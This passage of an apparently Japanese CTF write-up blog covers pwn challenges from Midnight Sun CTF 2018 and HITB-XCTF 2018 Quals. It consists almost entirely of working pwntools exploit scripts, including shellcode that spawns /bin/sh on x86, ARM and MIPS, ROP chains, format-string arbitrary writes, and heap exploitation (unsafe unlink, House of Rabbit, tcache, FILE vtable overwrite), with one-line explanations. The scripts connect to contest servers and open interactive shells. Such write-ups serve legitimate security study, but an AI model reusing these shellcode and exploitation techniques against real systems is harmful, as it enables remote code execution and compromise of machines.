conn.recvuntil(' == ')
hashed = conn.recvline()[:-1]
print hashed
import hashlib
import string
import itertools

def search(s, h):
    chars = string.ascii_letters + string.digits

    for el in itertools.permutations(chars, 4):
        x = ''.join(el)
        if hashlib.sha256(x+s).hexdigest() == h:
            return x
    return None

conn.sendline(search(salt, hashed))

shellcode = '''hoge: syscall;
xchg ecx,esi;
mov dh,18;
jmp hoge'''

shell = 'mov rsp, 0x601f00'

print u64(asm(shellcode))
conn.sendline(str(u64(asm(shellcode))))
time.sleep(1)
conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh()))
time.sleep(1)
conn.interactive()

note (pwn)

stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10007
LHOST = "127.0.0.1"
LPORT = 10007

# libc = ELF('./libc.so.6')
elf = ELF('./note')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400fe9
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./note'], execute)
else:
    conn = process(['./note'])
    # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def edit(payload):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('Note:', payload)

def show():
    conn.sendlineafter('> ', '2')
    conn.recvuntil('Note:')
    return conn.recvline()[:-1]

def save():
    conn.sendlineafter('> ', '3')
    conn.recvuntil('Saved!')

def change(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('ID:', payload)

'''
0x00401003: pop rdi ; ret  ;  (1 found)
0x00401001: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
'''
pop_rdi = 0x00401003
pop_rsi_r15 = 0x00401001
set_regs = 0x00400ffa
call_r12 = 0x00400fd8
leave_ret = 0x00400e3d

printf_plt = elf.symbols['printf']
puts_got = 0x601f90
write_file = 0x400D4D
main = 0x400E3F

log.info('Pwning')

conn.sendline('%s'*0x69)
payload = 'x'*168 + p64(0x602110)
#payload = 'x'*168 + 'z' *8
payload = payload.ljust(0x100, 'y')
edit(payload)
payload = 'a'*0x64
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110)
payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4
payload += p64(leave_ret)
conn.recvuntil('> ')
conn.sendline(payload)

libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690
print hex(libc_base)

payload = 'x'*8 + p64(libc_base + 0x4526a)
conn.sendline(payload)
conn.interactive()

Midnight Sun CTF 2018 writeup

Babyshells - Pwn (50 + 15)

x86, ARM, MIPSのshellcodeを送るだけ。

x86

#!/usr/bin/env python
from pwn import *

# context(os='linux', arch='i386')
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 7000
LHOST = "127.0.0.1"
LPORT = 7000

# libc = ELF('')
elf = ELF('./chall')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./chall'], execute)
else:
    conn = process(['./chall'])
    # conn = process(['./chall'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.sendline('1')
conn.sendline(asm(shellcraft.sh()))
conn.interactive()

ARM

shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
conn.sendline('1')
conn.sendline(shell)
conn.interactive()

MIPS

shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"
conn.sendline('1')
conn.sendline(shell)

Haxpresso - Pwn (300)

書き込みができるポインタが任意に制御できるので、GOTに書き換えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('./libc.so')
elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute)
else:
    conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'])
    # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation

def add(name):
    conn.sendlineafter(' > ', '1')
    conn.sendlineafter(': ', '1')
    conn.sendlineafter(': ', 'y')
    conn.sendafter(': ', name)
    conn.recvuntil('added!')

def edit(idx, name):
    conn.sendlineafter(' > ', '4')
    conn.sendlineafter(': ', str(idx))
    conn.sendafter(': ', name)
    conn.recvuntil('edited!')


log.info('Pwning')


add('a')
add('b')
conn.sendlineafter(' > ', '3')
conn.sendlineafter(': ', '0')
conn.sendlineafter(': ', 'n')
conn.sendlineafter(' > ', '3')
conn.recvuntil('Name: ')
buf = conn.recvline()
print repr(buf)
libc_base = u32(buf[0:4]) - 0xd661
log.info('libc_base = 0x%x', libc_base)
conn.sendlineafter(': ', 'n')
conn.sendlineafter(': ', 'n')

payload = 'x'*0x24 + p32(0x0804c030)
edit(0, payload)
edit(1, p32(libc_base + 0x3a940))

conn.sendline('4')
conn.sendline('0')
conn.sendline('/bin/sh\x00')

conn.interactive()

Botpanel - Pwn (300 + 10)

はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log


RHOST = "52.30.206.11"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

libc = ELF('./libc.so')
elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute)
else:
    conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0'])
    # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation




offset = 12
password = '>@!ADMIN!@<'
log.info('Pwning')

# leak
payload = '..%43$p.%7$p'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
libc_base = int(conn.recv(10),16) - 0x00018540 - 247
conn.recvuntil('.')
stack_addr = int(conn.recv(10), 16)
log.info('libc_base = 0x%x', libc_base)
log.info('stack_addr = 0x%x', stack_addr)
conn.recvuntil('Incorrect')

payload = '..%3$p\x00'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
bin_base = int(conn.recv(10),16) - 0x10c0
log.info('bin_base = 0x%x', bin_base)

count_addr = stack_addr - 0x60
payload = p32(count_addr+1) + '%9c%12$n'
conn.sendafter('Panel password:', payload)

ret_addr = stack_addr - 0x3c


def write_word(addr, value):
    addr1 = addr
    addr2 = addr+2
    value1 = 0xffff & value
    value2 = 0xffff & (value >> 16)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%%d$hn' % (0xffff&addr2,85)
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%5$hn' % (value1)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%6$hn' % (value2)
    conn.sendafter('Panel password:', payload)

write_word(ret_addr, libc_base + 0x3a940)
write_word(ret_addr+8, libc_base + 0x15902b)


conn.sendline(password)
conn.interactive()

HITB-XCTF GSEC CTF 2018 Quals writeup

once (pwn, 281pts)

libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.189.102"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc-2.23.so')
elf = ELF('./once')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set environment LD_PRELOAD=./libc-2.23.so
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./once'], execute)
else:
    conn = process(['./once'])
    # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'})

# preparing for exploitation

def create():
    conn.sendlineafter('> ', '1')

def write(payload):
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.send(payload)

def free():
    conn.sendlineafter('> ', '3')

def malloc(size):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('input size:', str(size))
    conn.sendlineafter('> ', '4')

def _free():
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('> ', '4\x00yyyyyy')

def write_string(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.sendline(payload)
#    conn.recvuntil('success.')
    conn.sendlineafter('> ', '4')


log.info('Pwning')

conn.sendlineafter('> ', '-1')
conn.recvline()
buf = conn.recv(len('0x7fbb53834690'))
libc_base = int(buf, 16) - 0x6f690
log.info('libc_bsae = 0x%x', libc_base)

write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2)
malloc(0x200)
payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e)
write_string(payload)
_free()
conn.recvuntil('>')
create()

conn.interactive()

babypwn (pwn, 253pts)

バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。

#!/usr/bin/env python
from pwn import *

#context(os='linux', arch='unknown')
#context.log_level = 'debug' # output verbose log

RHOST = "47.75.182.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./a.out')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x4006ef
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./a.out'], execute)
else:
    conn = process(['./a.out'])
    # conn = process(['hogehoge'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def write(addr, byte):
    payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr)
    conn.sendline(payload)

log.info('Pwning')

# leak libc_base
conn.sendline('%41$p')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x20830
log.info('libc_base = 0x%x', libc_base)

stdin = libc_base + 0x3c48e0
stdin_vtable = libc_base + 0x3c49b8
fake_vtable = libc_base + 0x3c49c0
system = libc_base + 0x45390

# set ';sh' string
write(stdin+4, ord(';'))
write(stdin+5, ord('s'))
write(stdin+6, ord('h'))

# create fake vtable
for i in range(6):
    write(fake_vtable+0x28+i, ord(p64(system)[i]))

# overwrite stdin vtable ptr
a = (fake_vtable & 0xffff)
payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable)
conn.sendline(payload)

conn.interactive()

d (pwn, 392pts)

heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.154.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute)
else:
    conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'])
    # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def read(idx, msg):
    conn.sendlineafter('Which? :', '1')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('msg:', msg)

def edit(idx, msg):
    conn.sendlineafter('Which? :', '2')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('new msg:', msg)

def wipe(idx):
    conn.sendlineafter('Which? :', '3')
    conn.sendlineafter('Which? :', str(idx))

def fsa(addr, byte):
    payload = ''


printf_plt = elf.plt['printf']
atoi_plt = elf.plt['atoi']
strlen_plt = elf.plt['strlen']
fake_chunk = 0x6021a0


log.info('Pwning')

read(0, 'x' * 0x138)
read(1, 'x' * 0x138)
read(2, 'x' * 0x138)
read(3, 'x' * 0x138)
read(4, 'y' * 0x138)
read(5, 'z' * 0x138)
read(6, 'z' * 0x138)
wipe(4)
read(4, 'a'* (0x138+19))
edit(4, 'x'*0xf8)
edit(4, 'x'*0xf0 + p64(0xf0))
payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10)
edit(4, payload)
wipe(5)

edit(6, '/bin/sh\x00')
edit(4, p64(0x602028))
edit(1, p64(printf_plt)[:6])

edit(0, '%2$p')
conn.recvuntil('Which? :')
conn.sendline('2')
conn.recvuntil('Which? :')
conn.sendline('0')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x3c6780
log.info('libc_base = 0x%x', libc_base)
conn.sendline('hoge')

edit(4, '%p')
edit(4, p64(0x602018))
edit(1, '%p')
edit(1, p64(libc_base + 0x45390)[:7])

conn.interactive()

mutepig (pwn, 833pts)

House of Rabbit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.128.158"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./mutepig')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set follow-fork-mode parent
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./mutepig'], execute)
else:
    conn = process(['./mutepig'])
    # conn = process(['./mutepig'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def create(_type, payload):
    time.sleep(0.1)
    conn.sendline('1')
    conn.sendline(str(_type))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)

def free(idx):
    time.sleep(0.1)
    conn.sendline('2')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)

def write(idx, payload, payload2):
    time.sleep(0.1)
    conn.sendline('3')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)
    conn.send(payload2)

log.info('Pwning')

time.sleep(0.1)

create(3, 'x'*7)
free(0)
create(3, 'y'*7)
free(1)
create(1, 'fast')   # 2
create(2, 'small')  # 3
free(2)
payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1)
write(2, p64(0x602130)[:7], payload)
free(3)     # malloc_consolidate
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001)
write(3, 'w'*7, payload)
create(3, '/bin/sh')
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1)
write(3, 'w'*7, payload)
create(13337, 'a'*7)
create(1, p64(0x0000000000602018)[:7])
write(0, p64(0x00000000004006e6)[:7], 'hoge')
free(2)

conn.interactive()

gundom (pwn, 487pts)

tcache

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.37.114"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc.so.6')
elf = ELF('./gundam')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./gundam'], execute)
else:
    conn = process(['./gundam'])
    # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def build(name, idx):
    conn.sendlineafter('Your choice : ', '1')
    conn.sendafter('The name of gundam :', name)
    time.sleep(0.1)
    conn.sendlineafter('The type of the gundam :', str(idx))
    time.sleep(0.1)

def visit():
    conn.sendlineafter('Your choice : ', '2')
    time.sleep(0.1)

def destroy(idx):
    conn.sendlineafter('Your choice : ', '3')
    conn.sendlineafter('Destory:', str(idx))
    time.sleep(0.1)

def blow():
    conn.sendlineafter('Your choice : ', '4')
    time.sleep(0.1)

log.info('Pwning')

build('x'*0x10, 0)
build('y'*0x10, 1)
destroy(0)
destroy(0)
build('x'*0x1, 0)
visit()
conn.recvuntil('Gundam[2] :')
heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278
log.info('heap_base = 0x%x', heap_base)

destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
blow()
build('\x90'*0x1, 0)
visit()
conn.recvuntil('Gundam[0] :')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90
log.info('libc_base = 0x%x', libc_base)


destroy(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100)
build(payload, 2)
build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0)
build('hoge', 0)

free_hook = libc_base + 0x3dc8a8
short_buf = libc_base + 0x3daa63
payload = '\x00'* 4 +  p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8)
build(payload, 0)

conn.sendline('3')
conn.send('0\x00' + p64(libc_base + 0xfccde))
#conn.send('0\x00' + 'x'*8)

conn.interactive()

最後に

最近はCTFをするときにMAN WITH A MISSIONRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。